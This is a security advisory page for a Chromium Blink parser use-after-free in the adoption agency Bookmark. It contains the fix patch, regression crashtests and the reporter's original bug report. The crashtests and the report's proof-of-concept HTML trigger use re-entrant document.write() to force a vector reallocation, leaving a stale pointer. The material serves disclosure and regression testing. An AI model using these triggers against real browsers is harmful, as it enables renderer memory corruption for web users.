CVE-2026-106193
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/html/parser/html_formatting_element_list.cc |
modified | |
ifthird_party/blink/renderer/core/html/parser/html_tree_builder.cc |
modified | |
connectedCallbackthird_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html |
modified |
Files Changed
third_party/blink/renderer/core/html/parser/html_formatting_element_list.hthird_party/blink/renderer/core/html/parser/html_tree_builder.ccthird_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.htmlthird_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.htmlthird_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
Patch
From fd4e928e7b3e5e2e11528a587c4330a1852192cb Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <nrosenthal@chromium.org>
Date: Tue, 08 Sep 2026 10:47:39 -0700
Subject: [PATCH] [parser] Store stable element identity in adoption agency Bookmark
Previously, HTMLFormattingElementList::Bookmark stored a raw interior
Entry* pointer into the HeapVector<Entry> entries_ buffer.
During HTMLTreeBuilder::CallTheAdoptionAgency(), DOM operations (such
as reparenting the furthest-block in step 4.14) can synchronously
dispatch events when subtrees are detached, notably the pagehide event
on an iframe. An event listener could then call document.write(),
re-entering the parser and appending to active formatting elements.
This would reallocate the HeapVector and leave the Bookmark's raw
interior pointer dangling, leading to a UAF / use-after-poison write
when SwapTo() resumes.
This CL fixes the issue by:
1. Changing Bookmark to store a stable Element* reference instead of
an interior Entry* pointer into HeapVector storage.
2. Updating SwapTo() to resolve elements dynamically via ReverseFind(),
failing closed safely if re-entrant script cleared or modified the
list.
3. Removing the step 4.13.4 bookmark-regeneration workaround that
existed purely to work around Entry* vector shifts.
4. Validating that formatting_element and furthest_block remain in
OpenElements() after step 4.14 DOM insertion before continuing.
5. Adding a regression crashtest for re-entrant document.write() via
iframe pagehide.
Fixed: 557729858
Change-Id: I337a48aa7c0ad1d7fc0c08380b7df4864cb1cc39
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8363808
Reviewed-by: Mason Freed <masonf@chromium.org>
Commit-Queue: Noam Rosenthal <nrosenthal@google.com>
Cr-Commit-Position: refs/heads/main@{#1693910}
---
diff --git a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
index 9654d555..85dc408d 100644
--- a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
+++ b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
@@ -67,24 +67,26 @@
HTMLFormattingElementList::Bookmark HTMLFormattingElementList::BookmarkFor(
Element* element) {
- wtf_size_t index = entries_.ReverseFind(element);
- DCHECK_NE(index, kNotFound);
- return Bookmark(&at(index));
+ DCHECK(Contains(element));
+ return Bookmark(element);
}
void HTMLFormattingElementList::SwapTo(Element* old_element,
HTMLStackItem* new_item,
const Bookmark& bookmark) {
- DCHECK(Contains(old_element));
DCHECK(!Contains(new_item->GetElement()));
if (!bookmark.HasBeenMoved()) {
- DCHECK(bookmark.Mark()->GetElement() == old_element);
- bookmark.Mark()->ReplaceElement(new_item);
+ wtf_size_t index = entries_.ReverseFind(old_element);
+ if (index == kNotFound) {
+ return;
+ }
+ entries_[index].ReplaceElement(new_item);
return;
}
- size_t index = bookmark.Mark() - First();
- SECURITY_DCHECK(index < size());
- entries_.insert(static_cast<wtf_size_t>(index + 1), new_item);
+ wtf_size_t mark_index = entries_.ReverseFind(bookmark.Mark());
+ if (mark_index != kNotFound) {
+ entries_.insert(mark_index + 1, new_item);
+ }
Remove(old_element);
}
diff --git a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
index e01d778..cf3b41f 100644
--- a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
+++ b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
@@ -83,19 +83,19 @@
STACK_ALLOCATED();
public:
- explicit Bookmark(Entry* entry) : has_been_moved_(false), mark_(entry) {}
+ explicit Bookmark(Element* element) : mark_(element) {}
- void MoveToAfter(Entry* before) {
+ void MoveToAfter(Element* before) {
has_been_moved_ = true;
mark_ = before;
}
bool HasBeenMoved() const { return has_been_moved_; }
- Entry* Mark() const { return mark_; }
+ Element* Mark() const { return mark_; }
private:
- bool has_been_moved_;
- Entry* mark_;
+ bool has_been_moved_ = false;
+ Element* mark_ = nullptr;
};
bool IsEmpty() const { return !size(); }
@@ -125,8 +125,6 @@
#endif
private:
- Entry* First() { return &at(0); }
-
// http://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#list-of-active-formatting-elements
// These functions enforce the "Noah's Ark" condition, which removes redundant
// mis-nested elements.
diff --git a/third_party/blink/renderer/core/html/parser/html_tree_builder.cc b/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
index 94ccb7f0..1b372df 100644
--- a/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
+++ b/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
@@ -1857,19 +1857,7 @@
// 4.13.4
if (inner_loop_counter > kInnerIterationLimit &&
node_in_active_formatting_elements) {
- DCHECK(bookmark.Mark());
- // Cache the bookmark's element to regenerate it after the removal.
- Element* bookmark_element = bookmark.Mark()->GetElement();
- bool has_been_moved = bookmark.HasBeenMoved();
tree_.ActiveFormattingElements()->Remove(node->GetElement());
- bookmark =
- tree_.ActiveFormattingElements()->BookmarkFor(bookmark_element);
- if (has_been_moved) {
- // BookmarkFor creates a 'before' bookmark; if the original was
- // moved, we must explicitly convert it back to an 'after' bookmark
- // relative to its current mark.
- bookmark.MoveToAfter(bookmark.Mark());
- }
// Set to false so the subsequent step (4.13.5) removes the node from
// the stack of open elements and continues the inner loop.
node_in_active_formatting_elements = false;
@@ -1890,7 +1878,7 @@
// 4.13.7
if (last_node == furthest_block) {
- bookmark.MoveToAfter(node_entry);
+ bookmark.MoveToAfter(node->GetElement());
}
// 4.13.8
Sanitizer::Action action =
@@ -1944,7 +1932,7 @@
// 9.8
if (last_node == furthest_block) {
- bookmark.MoveToAfter(node_entry);
+ bookmark.MoveToAfter(node->GetElement());
}
// 9.9
Sanitizer::Action action =
@@ -1974,6 +1962,10 @@
if (last_node) {
tree_.InsertAlreadyParsedChild(common_ancestor, last_node);
}
+ if (!tree_.OpenElements()->Contains(formatting_element) ||
+ !tree_.OpenElements()->Contains(furthest_block->GetElement())) {
+ return;
+ }
// 4.15
HTMLStackItem* new_item =
tree_.CreateElementFromSavedToken(formatting_element_item);
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
new file mode 100644
index 0000000..c0ad099
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm with custom furthest-block element</title>
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element during AAA step 4.14 synchronously
+// runs custom element connectedCallbacks. Calling document.write() within the
+// callback re-enters the parser, appending new formatting elements and forcing
+// the HeapVector to reallocate.
+
+let connections = 0;
+customElements.define("x-div", class extends HTMLDivElement {
+ connectedCallback() {
+ // Connection #1 occurs on initial parse/insertion under <b>.
+ // Connection #2 occurs when AAA step 4.14 reparents furthest_block
+ // into common_ancestor, at which point Bookmark has already been captured.
+ if (++connections !== 2) return;
+
+ // Re-enter the parser and append 14 formatting elements to the AFE.
+ // The second group includes an attribute ('a') to bypass the Noah's Ark
+ // rule, which would otherwise discard duplicate formatting elements.
+ // Growing from 3 to 17 entries exceeds the existing vector capacity (16),
+ // forcing a HeapVector reallocation that invalidates the Bookmark pointer.
+ document.write(
+ "<big><code><em><font><s><small><strike><strong><tt><u>" +
+ "<big a><code a><em a><font a>"
+ );
+ }
+}, {extends: "div"});
+
+// 1. "<b><i>": Push 2 formatting elements to the AFE.
+// 2. "<marquee>": Appends an AFE marker.
+// 3. 10 formatting elements: Grow the AFE HeapVector capacity to 16.
+// 4. "</marquee>": Pops elements up to the marker, leaving 2 elements in the AFE
+// while preserving the allocated capacity of 16.
+// 5. "<b>": Pushes a 3rd element to the AFE.
+// 6. "<div is=x-div>": Parsed as a child of <b> (connection #1).
+// 7. "</b>": Triggers AAA for <b> with <div is=x-div> as furthest_block.
+document.write(
+ "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+ "</marquee><b><div is=x-div></b>"
+);
+</script>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
new file mode 100644
index 0000000..04962b2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm reentrancy via iframe pagehide</title>
+<link rel="help" href="https://issues.chromium.org/issues/558144311">
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element (<div>) during AAA step 4.14 detaches
+// its subtree, synchronously firing onpagehide on <iframe id=ifr>.
+// The re-entrant document.write() appends 14 formatting elements (using unique
+// attributes to bypass Noah's Ark eviction), growing the active formatting
+// elements list from 3 to 17 entries. This exceeds the vector capacity (16),
+// forcing a HeapVector reallocation that invalidates the Bookmark pointer
+// before SwapTo() resumes at step 4.18.
+document.write(
+ "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+ "</marquee><b><div><iframe id=ifr></iframe><script>" +
+ "document.getElementById('ifr').contentWindow.onpagehide = () => {" +
+ " document.write(" +
+ " '<big><code><em><font><s><small><strike><strong><tt><u>' +" +
+ " '<big a><code a><em a><font a>'" +
+ " );" +
+ "};" +
+ "<\/script></b>"
+);
+</script>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
new file mode 100644
index 0000000..c0ad099
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm with custom furthest-block element</title>
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element during AAA step 4.14 synchronously
+// runs custom element connectedCallbacks. Calling document.write() within the
+// callback re-enters the parser, appending new formatting elements and forcing
+// the HeapVector to reallocate.
+
+let connections = 0;
+customElements.define("x-div", class extends HTMLDivElement {
+ connectedCallback() {
+ // Connection #1 occurs on initial parse/insertion under <b>.
+ // Connection #2 occurs when AAA step 4.14 reparents furthest_block
+ // into common_ancestor, at which point Bookmark has already been captured.
+ if (++connections !== 2) return;
+
+ // Re-enter the parser and append 14 formatting elements to the AFE.
+ // The second group includes an attribute ('a') to bypass the Noah's Ark
+ // rule, which would otherwise discard duplicate formatting elements.
+ // Growing from 3 to 17 entries exceeds the existing vector capacity (16),
+ // forcing a HeapVector reallocation that invalidates the Bookmark pointer.
+ document.write(
+ "<big><code><em><font><s><small><strike><strong><tt><u>" +
+ "<big a><code a><em a><font a>"
+ );
+ }
+}, {extends: "div"});
+
+// 1. "<b><i>": Push 2 formatting elements to the AFE.
+// 2. "<marquee>": Appends an AFE marker.
+// 3. 10 formatting elements: Grow the AFE HeapVector capacity to 16.
+// 4. "</marquee>": Pops elements up to the marker, leaving 2 elements in the AFE
+// while preserving the allocated capacity of 16.
+// 5. "<b>": Pushes a 3rd element to the AFE.
+// 6. "<div is=x-div>": Parsed as a child of <b> (connection #1).
+// 7. "</b>": Triggers AAA for <b> with <div is=x-div> as furthest_block.
+document.write(
+ "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+ "</marquee><b><div is=x-div></b>"
+);
+</script>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
new file mode 100644
index 0000000..04962b2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm reentrancy via iframe pagehide</title>
+<link rel="help" href="https://issues.chromium.org/issues/558144311">
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element (<div>) during AAA step 4.14 detaches
+// its subtree, synchronously firing onpagehide on <iframe id=ifr>.
+// The re-entrant document.write() appends 14 formatting elements (using unique
+// attributes to bypass Noah's Ark eviction), growing the active formatting
+// elements list from 3 to 17 entries. This exceeds the vector capacity (16),
+// forcing a HeapVector reallocation that invalidates the Bookmark pointer
+// before SwapTo() resumes at step 4.18.
+document.write(
+ "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+ "</marquee><b><div><iframe id=ifr></iframe><script>" +
+ "document.getElementById('ifr').contentWindow.onpagehide = () => {" +
+ " document.write(" +
+ " '<big><code><em><font><s><small><strike><strong><tt><u>' +" +
+ " '<big a><code a><em a><font a>'" +
+ " );" +
+ "};" +
+ "<\/script></b>"
+);
+</script>
+</html>
Original Bug Report
Incomplete fix for Chromium 496298136: a customized furthest-block div may invalidate Blink’s adoption-agency Bookmark, causing a stale access in SwapTo(). UAF
Report description
Incomplete fix for Chromium 496298136: a customized furthest-block div may invalidate Blink’s adoption-agency Bookmark, causing a stale access in SwapTo(). UAF
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://chromium.googlesource.com/chromium/src/
The problem
Please describe the technical details of the vulnerability
[Blink] Suspected incomplete fix for issue 496298136: stale adoption-agency Bookmark
Summary
This is a source-derived alternate trigger for Chromium issue
496298136. The existing mitigation excludes a customized
formatting element from the active formatting list. This trigger instead uses
an ordinary <b> as that element and a customized <div is="x-div"> as the
furthest block, so the mitigation does not cover it.
The adoption-agency algorithm saves a raw pointer into the active-formatting
HeapVector. Moving the customized div then invokes its second
connectedCallback() synchronously. The callback reenters the parser with
document.write() and grows the same vector; when the outer algorithm resumes,
SwapTo() may dereference the stale pointer.
The page needs no permission, user action, flag, server, or external resource.
Status: this report is based on source analysis and a load-only trigger. The parser path was exercised, but memory corruption has not yet been reproduced under ASAN. A stock Google Chrome 148.0.7778.167 run completed normally. I am therefore reporting a suspected incomplete-fix variant—not confirmed exploitation, an S1, or a full chain.
Source reviewed: Chromium 155.0.8041.0 at revision
cf434334c1f6493694f56000301ae09532ac62a6.
Root cause
BookmarkFor() stores an interior pointer into entries_:
return Bookmark(&at(index));
CallTheAdoptionAgency() retains it across a DOM move:
HTMLFormattingElementList::Bookmark bookmark =
tree_.ActiveFormattingElements()->BookmarkFor(formatting_element);
// ...
tree_.InsertAlreadyParsedChild(common_ancestor, last_node);
// ...
tree_.ActiveFormattingElements()->SwapTo(formatting_element, new_item,
bookmark);
The move runs queued custom-element reactions before returning. Nested parser
work can append entries and relocate the vector, but the non-moved path in
SwapTo() still uses the saved address:
bookmark.Mark()->ReplaceElement(new_item);
The fix for 496298136 checks only whether the formatting token
has an is attribute in InsertFormattingElement(). Here that token is the
ordinary <b>; is="x-div" is on the special furthest block.
Relevant files:
html_tree_builder.cc:1822-1987html_formatting_element_list.h:50-99html_formatting_element_list.cc:68-83html_construction_site.cc:221-251,1130-1144,1260-1277third_party/blink/renderer/core/html/custom/ce_reactions_scope.cc:23-40
Reproduction attempt
Attach payload.html and run.sh from POC2. Run them as an unprivileged user
with a matching, unstripped, symbolized ASAN Chromium build:
bash run.sh /absolute/path/to/asan/chrome 10
The runner uses fresh profiles and does not disable the sandbox. Exit 0 means
it found a sanitizer memory report containing the expected Blink parser
symbols; exit 1 means the payload loaded but the issue was not reproduced.
The complete 681-byte trigger is:
<!doctype html>
<meta charset="utf-8">
<script>
const guard = new EventTarget();
guard.addEventListener("x", () => {});
let connections = 0;
customElements.define("x-div", class extends HTMLDivElement {
connectedCallback() {
if (++connections !== 2) return;
guard.addEventListener("x", () => {});
document.write(
"<big><code><em><font><s><small><strike><strong><tt><u>" +
"<big a><code a><em a><font a>"
);
}
}, {extends: "div"});
document.write(
"<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
"</marquee><b><div is=x-div></b>"
);
</script>
<p id="poc2-loaded">PoC completed without a detected renderer failure.</p>
Expected confirmation is a symbolized ASAN memory-safety report containing:
ERROR: AddressSanitizer: heap-use-after-free
blink::HTMLFormattingElementList::Entry::GetElement or ReplaceElement
blink::HTMLFormattingElementList::SwapTo
blink::HTMLTreeBuilder::CallTheAdoptionAgency
No such trace has been obtained yet, so asan-trace.txt is not included.
Impact
If confirmed, an ordinary web page could cause renderer memory corruption
through a stale read or stale Member<HTMLStackItem> write. No reliable
exploitation, arbitrary read/write, code execution, sandbox escape, or full
chain has been demonstrated.
Suggested fix
Do not retain a raw pointer into the active-formatting vector across DOM work
that can run script. Store a relocation-safe logical reference and reacquire or
validate it after reentrancy before SwapTo(). Add a regression test using an
ordinary formatting <b> and a customized furthest-block div.
Attachments
payload.html— self-contained HTML triggerrun.sh— ASAN runner and trace validator
Impact analysis
If confirmed, an ordinary web page could cause renderer memory corruption
through a stale read or stale Member<HTMLStackItem> write. No reliable
exploitation, arbitrary read/write, code execution, sandbox escape, or full
chain has been demonstrated.
The cause
What version of Chrome have you found the security issue in?
155.0.8041.0
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
How would you like to be publicly acknowledged for your report?
Blockian Creator of Kritt and Open-Kritt
- https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules
- https://chromium.googlesource.com/chromium/src/
- https://chromium.googlesource.com/chromium/src/+/8d8417cf450433573655fbe3cd69ca9447904284
- https://chromium.googlesource.com/chromium/src/+/cf434334c1f6493694f56000301ae09532ac62a6/third_party/blink/renderer/core/html/parser/html_construction_site.cc#1130
- https://chromium.googlesource.com/chromium/src/+/cf434334c1f6493694f56000301ae09532ac62a6/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc#68
- https://chromium.googlesource.com/chromium/src/+/cf434334c1f6493694f56000301ae09532ac62a6/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h#69
- https://chromium.googlesource.com/chromium/src/+/cf434334c1f6493694f56000301ae09532ac62a6/third_party/blink/renderer/core/html/parser/html_tree_builder.cc#1822
- https://issuetracker.google.com/issues/496298136